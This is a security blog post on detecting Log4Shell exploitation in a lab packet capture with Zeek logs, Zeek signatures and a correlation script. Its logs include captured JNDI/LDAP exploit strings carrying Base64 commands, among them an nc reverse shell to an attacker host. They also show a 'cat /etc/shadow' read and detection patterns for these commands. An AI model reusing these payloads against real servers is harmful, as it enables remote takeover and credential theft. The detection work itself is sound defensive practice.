Friday, December 24, 2021

Continuing Log4-Shell - Zeek - Detection

Now that we understand the vulnerability and exploit, as well as having performed packet analysis using TShark and automated using Snort3, time to use Zeek against this pcap. Looking at Zeek from 3 different perspectives. First we will be running Zeek against the pcap to see what shows up. Second will be a Zeek signature and third writing a simple script to detect our activities.

My version of Zeek

┌──(rootđź’€securitynik)-[~/log4j]
└─# zeek --version
zeek version 4.2.0-dev.477

Running Zeek against the pcap, we see.

┌──(rootđź’€securitynik)-[/tmp]
└─# zeek --readfile /root/log4j/log4-shell.pcapng 
warning: problem initializing NB-DNS: connect(192.168.0.1): Network is unreachable
1640023652.008320 warning in /usr/local/zeek/share/zeek/base/misc/find-checksum-offloading.zeek, line 54: Your trace file likely has invalid TCP checksums, most likely from NIC checksum offloading.  By default, packets with invalid checksums are discarded by Zeek unless using the -C command-line option or toggling the 'ignore_checksums' variable.  Alternatively, disable checksum offloading by the network adapter to ensure Zeek analyzes the actual checksums that are transmitted.
1640029378.365160 warning in /usr/local/zeek/share/zeek/base/misc/find-filtered-trace.zeek, line 69: The analyzed trace file was determined to contain only TCP control packets, which may indicate it's been pre-filtered.  By default, Zeek reports the missing segments for this type of trace, but the 'detect_filtered_trace' option may be toggled if that's not desired.

Note the warning about invalid TCP checksums. Remember, in the previous post with Snort3, we had similar problems and had to disable checksum validation. Looking to see what logs were created without checksum validation disabled.

┌──(rootđź’€securitynik)-[/tmp]
└─# ls *.log
conn.log  packet_filter.log  reporter.log  weird.lo

Deleting these logs

┌──(rootđź’€securitynik)-[/tmp]
└─# rm -rf *.log

Running Zeek again, with checksum validation disabled.

┌──(rootđź’€securitynik)-[/tmp]
└─# zeek --readfile /root/log4j/log4-shell.pcapng --no-checksums
warning: problem initializing NB-DNS: connect(192.168.0.1): Network is unreachable

Got part of the warning we saw above. Not sure what this is about. No need to look at it right now, as it will not impact our analysis.

Looking at the logs created.

┌──(rootđź’€securitynik)-[/tmp]
└─# ls *.log
conn.log  files.log  http.log  packet_filter.log  weird.log

We have 2 more logs than we had before. Now we have http.log and files.log.

Taking a look at the conn.log to understand what hosts were communicating, their ports and services, while getting statistics on the frequency of their communication.

┌──(rootđź’€securitynik)-[/tmp]
└─# zeek-cut id.orig_h id.resp_h id.resp_p service < conn.log | sort | uniq --count | sort --numeric --reverse                                                    
    616 172.17.0.1      172.17.0.2      8080    http
     21 172.17.0.2      192.168.56.102  389     -
     19 172.17.0.1      172.17.0.2      8080    -
      3 172.17.0.2      192.168.56.102  443     http
      1 172.17.0.2      192.168.56.102  80      -
      1 172.17.0.1      172.17.0.2      80      -
      1 172.17.0.1      172.17.0.2      443     -
      1 172.17.0.1      172.17.0.2      389     -

From above, we may decide to give priority to the ones with least seen occurrences. These ones may be considered more interesting to you and is where I would probably start, if looking at things from this view.

Adding the duration to get a different perspective, to understand which one of these should be really given my priority.

┌──(rootđź’€securitynik)-[/tmp]
└─# zeek-cut id.orig_h id.resp_h id.resp_p service duration < conn.log | sort --key=5 --numeric --reverse | more                                                  
172.17.0.2      192.168.56.102  80      -       254.944665
172.17.0.2      192.168.56.102  389     -       46.102546
172.17.0.2      192.168.56.102  389     -       20.838319
172.17.0.2      192.168.56.102  443     http    10.035707
172.17.0.2      192.168.56.102  443     http    10.003881
172.17.0.2      192.168.56.102  443     http    5.002082
172.17.0.1      172.17.0.2      8080    http    0.211523
172.17.0.2      192.168.56.102  389     -       0.184407
172.17.0.1      172.17.0.2      8080    http    0.113805
172.17.0.1      172.17.0.2      8080    http    0.032053
172.17.0.1      172.17.0.2      8080    http    0.025268
172.17.0.2      192.168.56.102  389     -       0.020236
172.17.0.1      172.17.0.2      8080    http    0.019386
172.17.0.2      192.168.56.102  389     -       0.018122
...

Looking at above, it seems the conversation that had the highest duration of 254 seconds, was done between an internal host at 172.17.0.2 and external host at 192.168.56.102 on port 80.  This should not be to too hard to figure out what this was about, as we hope this would be in the http.log, since Zeek would use it's HTTP protocol analyzer and we know port 80 is typically associated with HTTP.

What about the date and time when this long duration activity occurred? Also, to understand more about the exact session, we will need the source port from the client side of the communication. Let's dig a bit deeper, getting a little bit more intelligence into this as well as the next 4 sessions, before moving on to look at the http.log file.

┌──(rootđź’€securitynik)-[/tmp]
└─# zeek-cut -d ts id.orig_h id.orig_p id.resp_h id.resp_p service duration < conn.log | grep --perl-regexp "\s+254\.|\s+46\.|\s+20\.|\s+10\."                    
2021-12-20T13:07:32-0500        172.17.0.2      51832   192.168.56.102  443     http    10.035707
2021-12-20T13:39:14-0500        172.17.0.2      51834   192.168.56.102  443     http    10.003881
2021-12-20T14:00:58-0500        172.17.0.2      37957   192.168.56.102  80      -       254.944665
2021-12-20T14:42:37-0500        172.17.0.2      36846   192.168.56.102  389     -       20.838319
2021-12-20T14:42:12-0500        172.17.0.2      36844   192.168.56.102  389     -       46.102546

With an understanding of when the activity occurred, who the communication was between the service involved and the duration, we are now in a better position to track each session. Let's jump to the http.log to see what we can get for that session with 254+ seconds of activity, by doing a grep for the source port.

┌──(rootđź’€securitynik)-[/tmp]
└─# cat http.log | grep 37957

Bummer! Nothing was returned above. This is concerning, considering this traffic occurred on port 80 and should have been seen as HTTP. Actually it is not concerning! We could have known even before this step, that Zeek might not have this in the HTTP log. We know this because we can see the last 3 lines of "-" while the first 2 has "http". Fortunately, for us there is the weird.log file, we can check for activity which Zeek did not understand or what it considers anomalous. 

┌──(rootđź’€securitynik)-[/tmp]
└─# ls weird.log 
weird.log

┌──(rootđź’€securitynik)-[/tmp]
└─# cat weird.log | grep 37957
1640026882.788799       CJAIvBhxDCpaF4JI3       172.17.0.2      37957   192.168.56.102  80      bad_HTTP_request        -       F       zeek    HTTP

Boom! There is one match.

Rather than searching all the other logs individually for interesting activity manually, let's quickly correlate all of this by using the UID "CJAIvBhxDCpaF4JI3".

┌──(rootđź’€securitynik)-[/tmp]
└─# grep "CJAIvBhxDCpaF4JI3" *.log
conn.log:1640026858.987870      CJAIvBhxDCpaF4JI3       172.17.0.2      37957   192.168.56.102  80      tcp     -       254.944665      742     46      S1      --0       ShAdDa  18      1686    17      938     -
weird.log:1640026882.788799     CJAIvBhxDCpaF4JI3       172.17.0.2      37957   192.168.56.102  80      bad_HTTP_request        -       F       zeek    HTTP

Interesting, Zeek only has activities in the conn.log and the weird.log. No need to perform any additional analysis here. Been there done that!

Cheating to see which logs the other four source ports show up in.

┌──(rootđź’€securitynik)-[/tmp]
└─# grep --perl-regexp "51832|51834|36846|36844" *.log
conn.log:1640023652.118623      CzZ5Kn3tnTTKLDfsTl      172.17.0.2      51832   192.168.56.102  443     tcp     http    10.035707       181     1294    SF      --0       ShADadFf        7       553     5       1562    -
conn.log:1640025554.666782      Clh2Jh2EYh1eKmCDB3      172.17.0.2      51834   192.168.56.102  443     tcp     http    10.003881       181     1299    SF      --0       ShADadFf        7       553     5       1567    -
conn.log:1640029357.522055      Cr9vCs4xT4rDbpVMI3      172.17.0.2      36846   192.168.56.102  389     tcp     -       20.838319       118     74      SF      --0       ShADadFf        10      646     8       498     -
conn.log:1640029332.258490      CDMPX92ZOjuLsQTySk      172.17.0.2      36844   192.168.56.102  389     tcp     -       46.102546       118     74      SF      --0       ShADadFf        10      646     8       498     -
http.log:1640023652.119439      CzZ5Kn3tnTTKLDfsTl      172.17.0.2      51832   192.168.56.102  443     1       GET     192.168.56.102  /ExploitQ8v7ygBW4i.class -1.1     Java/1.8.0_181  -       0       1216    200     OK      -       -       (empty) -       -       -       -       -       -       Fm2Pk636DiMArmDn03      -application/x-java-applet
http.log:1640025554.667458      Clh2Jh2EYh1eKmCDB3      172.17.0.2      51834   192.168.56.102  443     1       GET     192.168.56.102  /ExploitSMMZvT8GXL.class -1.1     Java/1.8.0_181  -       0       1221    200     OK      -       -       (empty) -       -       -       -       -       -       Fz7ckavJbacqKLihd       -application/x-java-applet

From above, we see the two entries flagged as HTTP service, actually shows up in the http.log file. We also see information on the java class file which was downloaded along with the HTTP method (GET) and mime type (application/x-java-applet). We also see the 200 response, indicating the requested resource was returned successfully.  With this information, we can now review the files.log to gain additional intelligence.

┌──(rootđź’€securitynik)-[/tmp]
└─# zeek-cut -d ts fuid tx_hosts rx_hosts source filename seen_bytes total_bytes < files.log | grep --perl-regexp "Fm2Pk636DiMArmDn03|Fz7ckavJbacqKLihd" 
2021-12-20T13:07:32-0500        Fm2Pk636DiMArmDn03      192.168.56.102  172.17.0.2      HTTP    -       1216    1216
2021-12-20T13:39:14-0500        Fz7ckavJbacqKLihd       192.168.56.102  172.17.0.2      HTTP    -       1221    1221

At this point, we have insights into the files seen, when they were downloaded, the number of bytes of the file, etc.

We can continue looking at the Zeek logs as part of our incident response process. However, for me and this post, there is not much more intelligence to extract from these sessions.

Now that we have done the manual work, let write a few Zeek signatures to detect this activity in an automated way. 

┌──(rootđź’€securitynik)-[~/log4j]
└─# touch log4-shell-zeek.sig
# To reduce noise, this will not alert
# The next rule depends on this
# before raising an notice and creating an event

signature log4-shell-sig {
        ip-proto == tcp
	header tcp[13] == 0x02 	# Test the TCP flags to see if SYN is set
	src-ip == 172.17.0.0/16
	dst-ip != 172.17.0.0/16
	dst-port == 389
       }
	

# Generate an alert when there is an established session sceen on 389/tcp (LDAP)
signature log4-shell-est-sig {
	ip-proto == tcp
	header tcp[13:2] >= 0x18 # Testing one byte fails for me. Just cheating here by lookint at 2 bytes instead.
	src-ip == 172.17.0.0/16
	dst-ip != 172.17.0.0/16
	dst-port == 389
		
	payload /.*Basic\/Command\/Base64\/.*?=/
	tcp-state established, originator
	event "SUSPICIOUS-ACTIVITY: Possible Log4J Exploitation"
	requires-signature log4-shell-sig 
	}
	

# This one looks specifically for JNDI in our pcap
signature log4-shell-jndi {
	header ip[9] == 0x06
	header ip[12:4] != 172.17.0.2/32
	header ip[16:4] == 172.17.0.2/32
	header tcp[2:2] == 8080	# Look at the destination port
	tcp-state established, originator
	payload /.*\$\{jndi:ldap:\/\/{1,3}.{1,3}.{1,3}.{1,3}.*Base.*?\}/i
	event "POTENTIAL JNDI EXPLOITATION ATTEMPT - JNDI FOUND"
}

# Look for netcat 
signature log4-shell-nc {
	header ip[9] == 0x06
	header ip[12:4] != 172.17.0.0/16
	header ip[16:4] == 172.17.0.2/32, 172.17.0.1
	header tcp[0:2] == 80	# Look at the source port
	tcp-state established, responder
	payload /.*\/etc\/shadow/
	event "POSSIBLE COMMAND AND CONTROL - POST EXPLOITATION ACTIVITY - via 80/TCP (HTTP)"
}

Running this against the pcap.

┌──(rootđź’€securitynik)-[/tmp]
└─# zeek --readfile /root/log4j/log4-shell.pcapng --no-checksums --rulefile /root/log4j/log4-shell-zeek.sig 

┌──(rootđź’€securitynik)-[/tmp]
└─# ls *.log
conn.log  files.log  http.log  notice.log  packet_filter.log  signatures.log  weird.log

Reviewing the signatures.log file to see what triggered.

┌──(rootđź’€securitynik)-[/tmp]
└─# zeek-cut -m -d ts uid src_addr src_port dst_addr dst_port note sig_id event_msg sub_msg  < signatures.log | more
ts      uid     src_addr        src_port        dst_addr        dst_port        note    sig_id  event_msg       sub_msg
2021-12-20T13:07:32-0500        CZGCty1ObPE9uwe9ul      172.17.0.1      60316   172.17.0.2      8080    Signatures::Sensitive_Signature log4-shell-jndi 172.17.0.1: POTENTIAL JNDI EXPLOITATION ATTEMPT - JNDI FOUND    GET / HTTP/1.1\x0d\x0aHost: 127.0.0.1:8080\x0d\x0aAccept: */*\x0d\x0aX-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3Rt
cC9wd25l...
2021-12-20T13:07:32-0500        C8OUK6eTadZLd5f39       172.17.0.2      36820   192.168.56.102  389     Signatures::Sensitive_Signature log4-shell-est-sig      172.17.0.2: SUSPICIOUS-ACTIVITY: Possible Log4J Exploitation    0o\x02\x01\x02cM\x04-Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=\x0a\x01\x00\x0a\x01\x03\x02\x01\x00\x02\x01\x00\x01\x01\x00\x87\x0bobjectCl
ass0\x00\xa0\x1b0\x19\x04\x172.16.840.1.113730.3.4.2
2021-12-20T13:38:30-0500        CiTeN13ApWQV4M9aC3      172.17.0.1      60318   172.17.0.2      8080    Signatures::Sensitive_Signature log4-shell-jndi 172.17.0.1: POTENTIAL JNDI EXPLOITATION ATTEMPT - JNDI FOUND    GET / HTTP/1.1\x0d\x0aHost: 127.0.0.1:8080\x0d\x0aAccept: */*\x0d\x0aX-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMg
PiAvdG1w...
2021-12-20T13:39:14-0500        CBOV6S3YQW1Z7Lvsw8      172.17.0.1      60320   172.17.0.2      8080    Signatures::Sensitive_Signature log4-shell-jndi 172.17.0.1: POTENTIAL JNDI EXPLOITATION ATTEMPT - JNDI FOUND    GET / HTTP/1.1\x0d\x0aHost: 127.0.0.1:8080\x0d\x0aAccept: */*\x0d\x0aX-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMg
PiAvdG1w...
2021-12-20T13:39:14-0500        C0iyig49VLcYW1J8l7      172.17.0.2      36822   192.168.56.102  389     Signatures::Sensitive_Signature log4-shell-est-sig      172.17.0.2: SUSPICIOUS-ACTIVITY: Possible Log4J Exploitation    0w\x02\x01\x02cU\x045Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==\x0a\x01\x00\x0a\x01\x03\x02\x01\x00\x02\x01\x00\x01\x01\x00\x87\x0b
objectClass0\x00\xa0\x1b0\x19\x04\x172.16.840.1.113730.3.4.2
2021-12-20T14:00:58-0500        Ca7Ekq32Xv46VNjLbc      172.17.0.1      60324   172.17.0.2      8080    Signatures::Sensitive_Signature log4-shell-jndi 172.17.0.1: POTENTIAL JNDI EXPLOITATION ATTEMPT - JNDI FOUND    GET / HTTP/1.1\x0d\x0aHost: 127.0.0.1:8080\x0d\x0aAccept: */*\x0d\x0aX-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/bmMgMTkyLjE2
OC41Ni4x...
2021-12-20T14:00:58-0500        Cj3OI9WTGBxiVlJ1d       172.17.0.2      36824   192.168.56.102  389     Signatures::Sensitive_Signature log4-shell-est-sig      172.17.0.2: SUSPICIOUS-ACTIVITY: Possible Log4J Exploitation    0\x81\x8b\x02\x01\x02ci\x04IBasic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==\x0a\x01\x00\x0a\x01\x03\x02\x01\x00\x02\
x01\x00\x01\x01\x00\x87\x0bobjectClass0\x00\xa0\x1b0\x19\x04\x172.16.840.1.113730.3.4...
2021-12-20T14:05:13-0500        CSRztzObGbPaX1kXf       192.168.56.102  80      172.17.0.2      37957   Signatures::Sensitive_Signature log4-shell-nc   192.168.56.102: POSSIBLE COMMAND AND CONTROL - POST EXPLOITATION ACTIVITY - via 80/TCP (HTTP)   cat /etc/shadow\x0a

Good stuff, our signatures worked. Looking at the notice.log file.

┌──(rootđź’€securitynik)-[/tmp]
└─# zeek-cut -m -d ts uid id.orig_h id.orig_p id.resp_h id.resp_p note msg  actions sub  < notice.log
ts      uid     id.orig_h       id.orig_p       id.resp_h       id.resp_p       note    msg     actions sub
2021-12-20T13:07:32-0500        CZGCty1ObPE9uwe9ul      172.17.0.1      60316   172.17.0.2      8080    Signatures::Sensitive_Signature 172.17.0.1: POTENTIAL JNDI EXPLOITATION ATTEMPT - JNDI FOUND    Notice::ACTION_LOG      GET / HTTP/1.1\x0d\x0aHost: 127.0.0.1:8080\x0d\x0aAccept: */*\x0d\x0aX-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25l...
2021-12-20T13:07:32-0500        C8OUK6eTadZLd5f39       172.17.0.2      36820   192.168.56.102  389     Signatures::Sensitive_Signature 172.17.0.2: SUSPICIOUS-ACTIVITY: Possible Log4J Exploitation    Notice::ACTION_LOG      0o\x02\x01\x02cM\x04-Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=\x0a\x01\x00\x0a\x01\x03\x02\x01\x00\x02\x01\x00\x01\x01\x00\x87\x0bobjectClass0\x00\xa0\x1b0\x19\x04\x172.16.840.1.113730.3.4.2
2021-12-20T13:38:30-0500        CiTeN13ApWQV4M9aC3      172.17.0.1      60318   172.17.0.2      8080    Signatures::Sensitive_Signature 172.17.0.1: POTENTIAL JNDI EXPLOITATION ATTEMPT - JNDI FOUND    Notice::ACTION_LOG      GET / HTTP/1.1\x0d\x0aHost: 127.0.0.1:8080\x0d\x0aAccept: */*\x0d\x0aX-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1w...
2021-12-20T13:39:14-0500        CBOV6S3YQW1Z7Lvsw8      172.17.0.1      60320   172.17.0.2      8080    Signatures::Sensitive_Signature 172.17.0.1: POTENTIAL JNDI EXPLOITATION ATTEMPT - JNDI FOUND    Notice::ACTION_LOG      GET / HTTP/1.1\x0d\x0aHost: 127.0.0.1:8080\x0d\x0aAccept: */*\x0d\x0aX-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1w...
2021-12-20T13:39:14-0500        C0iyig49VLcYW1J8l7      172.17.0.2      36822   192.168.56.102  389     Signatures::Sensitive_Signature 172.17.0.2: SUSPICIOUS-ACTIVITY: Possible Log4J Exploitation    Notice::ACTION_LOG      0w\x02\x01\x02cU\x045Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==\x0a\x01\x00\x0a\x01\x03\x02\x01\x00\x02\x01\x00\x01\x01\x00\x87\x0bobjectClass0\x00\xa0\x1b0\x19\x04\x172.16.840.1.113730.3.4.2
2021-12-20T14:00:58-0500        Ca7Ekq32Xv46VNjLbc      172.17.0.1      60324   172.17.0.2      8080    Signatures::Sensitive_Signature 172.17.0.1: POTENTIAL JNDI EXPLOITATION ATTEMPT - JNDI FOUND    Notice::ACTION_LOG      GET / HTTP/1.1\x0d\x0aHost: 127.0.0.1:8080\x0d\x0aAccept: */*\x0d\x0aX-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4x...
2021-12-20T14:00:58-0500        Cj3OI9WTGBxiVlJ1d       172.17.0.2      36824   192.168.56.102  389     Signatures::Sensitive_Signature 172.17.0.2: SUSPICIOUS-ACTIVITY: Possible Log4J Exploitation    Notice::ACTION_LOG      0\x81\x8b\x02\x01\x02ci\x04IBasic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==\x0a\x01\x00\x0a\x01\x03\x02\x01\x00\x02\x01\x00\x01\x01\x00\x87\x0bobjectClass0\x00\xa0\x1b0\x19\x04\x172.16.840.1.113730.3.4...
2021-12-20T14:05:13-0500        CSRztzObGbPaX1kXf       172.17.0.2      37957   192.168.56.102  80      Signatures::Sensitive_Signature 192.168.56.102: POSSIBLE COMMAND AND CONTROL - POST EXPLOITATION ACTIVITY - via 80/TCP (HTTP)   Notice::ACTION_LOG      cat /etc/shadow\x0a

So far, we have looked at using Zeek from two perspectives. First by simply reviewing the logs. Second my taking advantage of its signature capabilities. Let's now wrap this up with a script.

The first script, will detect when our signature "log4-shell-est-sig" triggers.

Here is what the first script looks like.

module log4Shell;

# Detect when our signature "log4-shell-est-sig" triggers
event signature_match(state: signature_state, msg: string, data: string)
    {
        if (state$sig_id == "log4-shell-jndi")
	    {
	        print "HEADS-UP **log4-shell-est-sig** FIRED!" ;
	    }
    }

When this is run, we see ...

┌──(rootđź’€securitynik)-[/tmp]
└─# zeek --readfile /root/log4j/log4-shell.pcapng --no-checksums --rulefile /root/log4j/log4-shell-zeek.sig /root/log4j/log4-shell-zeek-script.zeek 
HEADS-UP **log4-shell-est-sig** FIRED!
HEADS-UP **log4-shell-est-sig** FIRED!
HEADS-UP **log4-shell-est-sig** FIRED!
HEADS-UP **log4-shell-est-sig** FIRED!

Obviously, writing this to the screen is only for demo purposes. You may choose to perform some action such as send an email or something else.

Let's continue.

When we revisit some of the activity within our packet analysis, wee see patterns such as.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -Y '(frame.time < "2021-12-20 14:00:58.987870") && (ip.addr == 172.17.0.2) && (tcp.flags.syn == 1) && (tcp.flags.ack == 0)' 2>/dev/null | more
    1 2021-12-20 13:05:05.954935   172.17.0.1 → 172.17.0.2   TCP 74 60314 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4090634673 TSecr=0 WS=128
   13 2021-12-20 13:07:32.008320   172.17.0.1 → 172.17.0.2   TCP 74 60316 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4090780727 TSecr=0 WS=128
   18 2021-12-20 13:07:32.023122   172.17.0.2 → 192.168.56.102 TCP 74 36820 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2720869562 TSecr=0 WS=128
   31 2021-12-20 13:07:32.118623   172.17.0.2 → 192.168.56.102 TCP 74 51832 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2720869658 TSecr=0 WS=128

   53 2021-12-20 13:38:30.063458   172.17.0.1 → 172.17.0.2   TCP 74 60318 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4092638782 TSecr=0 WS=128
   63 2021-12-20 13:39:14.661012   172.17.0.1 → 172.17.0.2   TCP 74 60320 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4092683379 TSecr=0 WS=128
   68 2021-12-20 13:39:14.663146   172.17.0.2 → 192.168.56.102 TCP 74 36822 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2722772202 TSecr=0 WS=128
   81 2021-12-20 13:39:14.666782   172.17.0.2 → 192.168.56.102 TCP 74 51834 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2722772206 TSecr=0 WS=128

  103 2021-12-20 14:00:58.960277   172.17.0.1 → 172.17.0.2   TCP 74 60324 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4093987679 TSecr=0 WS=128
  108 2021-12-20 14:00:58.962074   172.17.0.2 → 192.168.56.102 TCP 74 36824 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2724076501 TSecr=0 WS=128
  121 2021-12-20 14:00:58.968858   172.17.0.2 → 192.168.56.102 TCP 74 51836 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2724076508 TSecr=0 WS=128

Looking above, we can see a connection to destination port 8080, followed by a connection to port 389 then a connection to port 443. 

Modifying the filter to focus solely on our critical asset initiating those connections.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -Y '(frame.time < "2021-12-20 14:00:58.987870") && (ip.src == 172.17.0.2) && (tcp.flags.syn == 1) && (tcp.flags.ack == 0)' 2>/dev/null | more                                             
   18 2021-12-20 13:07:32.023122   172.17.0.2 → 192.168.56.102 TCP 74 36820 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2720869562 TSecr=0 WS=128
   31 2021-12-20 13:07:32.118623   172.17.0.2 → 192.168.56.102 TCP 74 51832 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2720869658 TSecr=0 WS=128

   68 2021-12-20 13:39:14.663146   172.17.0.2 → 192.168.56.102 TCP 74 36822 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2722772202 TSecr=0 WS=128
   81 2021-12-20 13:39:14.666782   172.17.0.2 → 192.168.56.102 TCP 74 51834 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2722772206 TSecr=0 WS=128

  108 2021-12-20 14:00:58.962074   172.17.0.2 → 192.168.56.102 TCP 74 36824 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2724076501 TSecr=0 WS=128
  121 2021-12-20 14:00:58.968858   172.17.0.2 → 192.168.56.102 TCP 74 51836 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2724076508 TSecr=0 WS=128

We can see a clearer pattern of port 389 communication follow by port 443.

By correlating these activities, we are making it easier to reduce false positives. Thus any notification from this script, should be more concerning than simply looking at port 389 or 443 individually.

# Define our internal hosts	
global internal_hosts: set[addr] = { 172.17.0.1, 172.17.0.2 } ;

# Define our critical asset
global critical_assets: set[addr] = { 172.17.0.2 } ;

# Store EXTERNAL connections (source IP, dst port) in a table
global tracked_external_conections: table[addr, port] of string;


# Leverage the event that looks for SYN connections
event connection_SYN_packet(c: connection, pkt: SYN_packet)
    {
	# Check for the port 389 connection
	if ( c$id$orig_h in critical_assets && c$id$resp_h !in internal_hosts && c$id$resp_p == 389/tcp)  
    	    {		
	        # Add the information to our table
	        tracked_external_conections[c$id$orig_h, c$id$resp_p] = "TRACKING LDAP";
		return;
	    }
	
	# Now check the port 443 initiation as well as if information on the host was previously stored.	
	if ( c$id$orig_h in critical_assets && c$id$resp_h !in internal_hosts && c$id$resp_p == 443/tcp && [c$id$orig_h, 389/tcp] in tracked_external_conections )  
	    {
		print "[!] SUSPICIOUS-ACTIVITY: POSSIBLE Log4J SUCCESSFUL EXPLOITATION";
		print fmt("   \\-> %s made a recent 389/tcp now making port 443 connection", c$id$orig_h);
		return;
	    }	
    }

With the code completed, let's run it against the pcap.

┌──(rootđź’€securitynik)-[/tmp]
└─# zeek --readfile /root/log4j/log4-shell.pcapng --no-checksums --rulefile /root/log4j/log4-shell-zeek.sig /root/log4j/log4-shell-zeek-script.zeek 
[!] SUSPICIOUS-ACTIVITY: POSSIBLE Log4J SUCCESSFUL EXPLOITATION
   \-> 172.17.0.2 made a recent 389/tcp now making port 443 connection
[!] SUSPICIOUS-ACTIVITY: POSSIBLE Log4J SUCCESSFUL EXPLOITATION
   \-> 172.17.0.2 made a recent 389/tcp now making port 443 connection
[!] SUSPICIOUS-ACTIVITY: POSSIBLE Log4J SUCCESSFUL EXPLOITATION
   \-> 172.17.0.2 made a recent 389/tcp now making port 443 connection
[!] SUSPICIOUS-ACTIVITY: POSSIBLE Log4J SUCCESSFUL EXPLOITATION
   \-> 172.17.0.2 made a recent 389/tcp now making port 443 connection
[!] SUSPICIOUS-ACTIVITY: POSSIBLE Log4J SUCCESSFUL EXPLOITATION
   \-> 172.17.0.2 made a recent 389/tcp now making port 443 connection
[!] SUSPICIOUS-ACTIVITY: POSSIBLE Log4J SUCCESSFUL EXPLOITATION
   \-> 172.17.0.2 made a recent 389/tcp now making port 443 connection

Once again, writing this to the screen is just for this demo purpose. Maybe instead you want to send an email about this or perform some other action. Also, realistically, you will need to add your script to your local.zeek file.

Here is an example of that.

┌──(rootđź’€securitynik)-[/tmp]
└─# echo "@load /root/log4j/log4-shell-zeek-script.zeek" >> /usr/local/zeek/share/zeek/site/local.zeek

┌──(rootđź’€securitynik)-[/tmp]
└─# tail --lines=1 /usr/local/zeek/share/zeek/site/local.zeek 
@load /root/log4j/log4-shell-zeek-script.zeek

Once completed, deploy your changes.

┌──(rootđź’€securitynik)-[/tmp]
└─# zeekctl deploy
checking configurations ...
installing ...
creating policy directories ...
installing site policies ...
generating standalone-layout.zeek ...
generating local-networks.zeek ...
generating zeekctl-config.zeek ...
generating zeekctl-config.sh ...
stopping ...
stopping zeek ...
starting ...
starting zeek ...

Validate the changes were successfully deployed and Zeek is now running.

┌──(rootđź’€securitynik)-[/tmp]
└─# zeekctl status
Name         Type       Host          Status    Pid    Started
securitynik-zeek standalone localhost     running   84525  23 Dec 14:30:28

Well that's it for this series and my understanding of the Log4J vulnerability, it's exploitation and detection.



















No comments:

Post a Comment